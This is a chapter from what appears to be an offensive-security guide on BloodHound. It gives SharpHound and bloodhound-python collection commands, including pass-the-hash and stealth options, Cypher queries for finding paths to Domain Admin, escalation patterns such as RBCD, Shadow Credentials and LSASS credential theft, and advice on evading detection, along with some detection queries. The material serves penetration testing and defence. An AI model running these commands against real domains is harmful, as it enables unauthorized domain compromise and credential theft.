Chapter 112

BloodHound Collection and Graph Analysis

Collecting AD relationship data with SharpHound, running attack-path Cypher queries in Neo4j, identifying shortest paths to Domain Admin, and building detection signatures from SharpHound's query patterns

Scenario

You have a compromised standard user account in a 15,000-node AD environment. Manually tracing privilege paths through LDAP queries would take days. You run SharpHound — it takes 4 minutes and outputs 6 JSON files containing every user, group, computer, ACL edge, and session relationship in the domain. You load the data into BloodHound/Neo4j and query "shortest path from compromised user to Domain Admins." The result: your user → WriteDACL on SalesTeam group → SalesTeam contains ServiceAccountX → ServiceAccountX has AdminTo on JUMPSERVER01 → JUMPSERVER01 has session of DomainAdmin01. Five hops. Complete domain compromise in a single attack chain that no human analyst would have found manually.

BloodHound Architecture

Components: SharpHound (.NET collector) Runs on domain-joined machine Queries: LDAP (AD objects + ACLs), SMB (local admin relationships), NetSessionEnum (active sessions), RPC (remote registry, logged-on users) Outputs: JSON files (Users.json, Groups.json, Computers.json, ACLs.json, Sessions.json, GPOs.json) BloodHound GUI Electron app + Neo4j graph database backend Loads JSON data, builds property graph Cypher query interface for path finding Graph model: Nodes: User, Group, Computer, Domain, GPO, OU, Container Edges (relationships): MemberOf, AdminTo, HasSession, CanRDP, CanPSRemote GenericWrite, WriteDACL, WriteOwner, GenericAll ForceChangePassword, AddMember, AddSelf AllExtendedRights, ReadLAPSPassword, ReadGMSAPassword DCSync, Owns, Contains, TrustedBy AllowedToDelegate, AllowedToAct BloodHound CE (Community Edition, 2023+): Replaced original v4 with Go backend + React frontend Native API for custom integrations Compatible with SharpHound 2.x output Run locally: docker-compose up (official setup)

SharpHound Collection

# All collection methods (most comprehensive but noisiest)
SharpHound.exe -c All

# Individual collection methods — control noise
SharpHound.exe -c DCOnly         # only LDAP — no SMB, no session enum (quietest)
SharpHound.exe -c Default        # LDAP + Sessions + LocalAdmins + ACLs
SharpHound.exe -c Session        # only session enumeration (active logons)
SharpHound.exe -c LocalAdmin     # local group membership via SMB (who has admin where)
SharpHound.exe -c ACL            # ACL enumeration (privilege escalation paths)

# Common operational options
SharpHound.exe -c All \
    --OutputDirectory C:\Windows\Temp \
    --ZipFilename bloodhound.zip \
    --RandomizeFilenames \             # randomize output filenames
    --NoSaveCache \                    # don't save cache file to disk
    --SkipPasswordCheck \             # don't check default AD password policies
    --Throttle 1000 \                 # ms delay between LDAP queries
    --Jitter 20                       # 20% jitter on the throttle delay

# Output: 20241015_123456_BloodHound.zip (or custom name)
# Contains: Computers.json, Users.json, Groups.json,
#           Domains.json, GPOs.json, OUs.json,
#           Containers.json
# Size: typically 5-50MB for medium enterprise, 200MB+ for large

# Loop collection for session data (sessions change throughout day)
SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
# Collects session data every 5 minutes for 2 hours
# More likely to catch privileged users logged in

BloodHound Alternatives — Linux/Python Collectors

# BloodHound.py — Python collector, runs from Linux (no domain join needed)
bloodhound-python -u user -p Password1! -d corp.local -dc dc01.corp.local \
    -c All --zip

# With hash authentication
bloodhound-python -u user --hashes aad3b435b51404eeaad3b435b51404ee:fc525c96... \
    -d corp.local -dc dc01.corp.local -c All

# With Kerberos ticket
export KRB5CCNAME=user.ccache
bloodhound-python -k -no-pass -u user -d corp.local -dc dc01.corp.local -c All

# RustHound — Rust implementation, very fast
rusthound -d corp.local -u user -p Password1! --ldaps --dc dc01.corp.local -o /tmp/bh

# Manual LDAP approach (for stealthy/specific queries without running BH binary)
# -- Chapter 104 LDAP code for individual attributes, combined manually
# Avoids the SharpHound binary signature entirely

Stealth Collection

MethodNoise LevelNotes
DCOnly (LDAP only)Low — looks like normal AD queriesNo SMB traffic to workstations; misses session and local admin data
Full All with --Throttle 2000 --Jitter 30Medium — spread over timeThrottled collection over 20-60 minutes blends with background LDAP traffic
bloodhound-python from external machineMedium — from non-domain-joined sourceSource IP may be anomalous; use a compromised internal host
Manual LDAP queries (ch104 approach)Lowest — custom code, no binary signatureLabor-intensive; build what you need rather than all-or-nothing BH collection
Session collection only at peak hoursVaries — SMB to workstationsSession enum generates SMB traffic to remote machines; targeted to specific workstations reduces noise

Essential Cypher Queries

// BloodHound GUI built-in queries — the must-runs

// 1. Shortest path from owned user to Domain Admins
MATCH (n:User {owned: true}), (m:Group {name: "DOMAIN ADMINS@CORP.LOCAL"}),
      p = shortestPath((n)-[*1..]->(m))
RETURN p

// 2. All principals with DCSync rights
MATCH p = (n)-[:DCSync]->(d:Domain)
RETURN p

// 3. All users with path to Domain Admins (top 10 shortest)
MATCH (u:User), (da:Group {name: "DOMAIN ADMINS@CORP.LOCAL"}),
      p = shortestPath((u)-[*1..10]->(da))
WHERE NOT u.name = "ADMINISTRATOR@CORP.LOCAL"
RETURN u.name, length(p) as hops ORDER BY hops LIMIT 20

// 4. Find computers where Domain Admins have active sessions
MATCH (da:Group {name: "DOMAIN ADMINS@CORP.LOCAL"})-[:MemberOf*0..]->(da)
MATCH (da)<-[:MemberOf]-(u:User)
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name

// 5. All outbound ACL edges from a specific user
MATCH (n:User {name: "JSMITH@CORP.LOCAL"})-[r]->(t)
WHERE type(r) IN ["GenericAll","GenericWrite","WriteDACL","WriteOwner",
                  "ForceChangePassword","AddMember","Owns","AllExtendedRights"]
RETURN type(r), t.name, labels(t)

// 6. Computers with unconstrained delegation (Golden Ticket extension targets)
MATCH (c:Computer {unconstraineddelegation: true})
WHERE NOT c.name CONTAINS "DC"  // exclude DCs which always have this
RETURN c.name, c.operatingsystem

// 7. Service accounts vulnerable to Kerberoasting with high privilege
MATCH (u:User {hasspn: true})-[:MemberOf*0..]->(g:Group)
WHERE g.name CONTAINS "ADMIN" OR u.admincount = true
RETURN u.name, u.description, g.name

// 8. Find all paths through WriteDACL edges (common escalation)
MATCH p = (u:User)-[:WriteDACL*1..3]->(target)
WHERE target.name CONTAINS "DOMAIN ADMINS" OR target.admincount = true
RETURN p LIMIT 20

// 9. Local admin paths — computers where compromised user has admin
MATCH (u:User {name: "JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer)
RETURN c.name, c.operatingsystem, c.enabled

// 10. Owned node blast radius — what can owned users reach in 3 hops?
MATCH (n {owned: true}), (m)
WHERE NOT n = m
MATCH p = shortestPath((n)-[*1..3]->(m))
RETURN DISTINCT m.name, labels(m), length(p) as distance
ORDER BY distance LIMIT 50

Key Attack Path Patterns

Common privilege escalation path types in BloodHound: 1. WriteDACL chain: LowPrivUser → WriteDACL → GroupX → MemberOf → HighPrivGroup Action: modify GroupX's DACL to add yourself, then add yourself to GroupX 2. ForceChangePassword: LowPrivUser → ForceChangePassword → AdminUser Action: reset AdminUser's password without knowing it, then authenticate as AdminUser 3. GenericWrite on computer: LowPrivUser → GenericWrite → Computer01 Action: write msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD attack → impersonate DA 4. Session targeting: LowPrivUser → AdminTo → Workstation01 AdminUser → HasSession → Workstation01 Action: compromise Workstation01 (via admin), steal AdminUser's credentials from session 5. ACL cascade: LowPrivUser → Owns → GroupA → AddMember/GenericWrite → GroupB → MemberOf → DomainAdmins Action: as owner of GroupA, add yourself → escalate via GroupB chain 6. Shadow Credentials via GenericWrite: LowPrivUser → GenericWrite → TargetUser Action: write msDS-KeyCredentialLink to TargetUser → Shadow Credentials → get TGT as TargetUser These patterns are automatically visualized by BloodHound. Use "Mark as Owned" on your compromised nodes to get attack-path specific results.

OPSEC: Evading BloodHound Detection

Defenders with Microsoft Defender for Identity (MDI) or similar tools look for SharpHound's query patterns. The signatures include specific attribute sets, query timing, and volume:

Detection Engineering — Writing BloodHound Detections

-- Splunk: Detect BloodHound-style LDAP collection (Event 1644 or AD query log)
-- Enable on DC: Set-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local" -Replace @{'msDS-Other-Settings'='ADAMObjectVersion=3,MaxValRange=5000;ADAMSchemaGuid=...;LDAPExpiredPassword=1'}
-- Or enable via registry: HKLM\System\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering = 5

index=wineventlog source=Security EventCode=1644
| rex field=_raw "Filter:\s+(?P\(.*?\))"
| where match(filter, "nTSecurityDescriptor") OR
        match(filter, "servicePrincipalName=\*") OR
        match(filter, "msDS-AllowedToDelegate")
| stats count by src_ip, user, filter
| where count > 50

-- MDI (Microsoft Defender for Identity) has built-in BloodHound detection:
-- Alert: "Active Directory Reconnaissance using LDAP"
-- Alert: "SAMR Enumeration" (from NetSessionEnum / SAM RPC calls)
-- Alert: "Account Enumeration" (mass account query)
-- Alert: "Security Principal Reconnaissance" (nTSecurityDescriptor bulk read)

-- PowerShell: Find accounts with unexpected Replication rights (DCSync backdoors)
# Check for non-DC accounts with DCSync ACEs on domain object
Get-ACL "AD:\DC=corp,DC=local" | select -ExpandProperty Access |
    Where-Object {
        $_.ActiveDirectoryRights -match "ExtendedRight" -and
        $_.ObjectType -match "1131f6a[ab]-9c07-11d1-f79f-00c04fc2dcd2"
    } | Select IdentityReference, ActiveDirectoryRights, ObjectType

Q&A

What's the difference between AdminTo edges and HasSession edges in BloodHound, and why do both matter?

AdminTo represents a static configuration — a user or group that is a local administrator on a specific computer. This comes from enumeration of local group membership. It means: if you compromise this user, you can do anything on that computer (dump LSASS, install software, exfiltrate data). HasSession represents a dynamic state — a user who currently (or recently) has an active logon session on a computer. This comes from NetSessionEnum RPC calls (session enumeration). It means: if you have administrative access to the computer, you can steal the credentials of this user from LSASS or their Kerberos tickets. The attack chain combining both: (1) you control LowPrivUser, (2) LowPrivUser has AdminTo on Workstation01, (3) DomainAdmin01 has HasSession on Workstation01. This means you can compromise Workstation01 as LowPrivUser, and once you're local admin there, dump the DA's TGT from LSASS. The combination of AdminTo + HasSession is one of the most common real-world attack paths to domain compromise. BloodHound automatically finds these chains via Cypher shortest-path queries.

How does BloodHound enumerate local admin relationships at scale without generating excessive noise?

SharpHound's LocalAdmin collection uses NetLocalGroupGetMembers() via RPC (the SAMR protocol over named pipes) to query each computer's local Administrators group. To enumerate 5,000 computers, it sends 5,000 SAMR calls, one per machine. This generates: (a) Event 4799 ("A security-enabled local group membership was enumerated") on each target machine, and (b) SMB connection events. The noise is high because it touches every active computer in the domain. Throttling (--Throttle and --Jitter) slows but doesn't eliminate the 4799 events. An alternative is GPO-based collection: if Resultant Set of Policy (RSoP) logging is enabled, you can derive local admin relationships from GPO processing without making SMB calls to each machine. SharpHound can also collect via LDAP alone (DCOnly) which gets group-to-computer relationships via AD group objects and GPO-applied groups, but misses local groups set outside of GPO. For operations requiring stealth, skip LocalAdmin collection (use -c Default or DCOnly) and rely on existing GenericAll/AdminTo edges for path finding — local admin data matters for session-theft paths, but ACL-based paths (GenericWrite, WriteDACL) don't require it.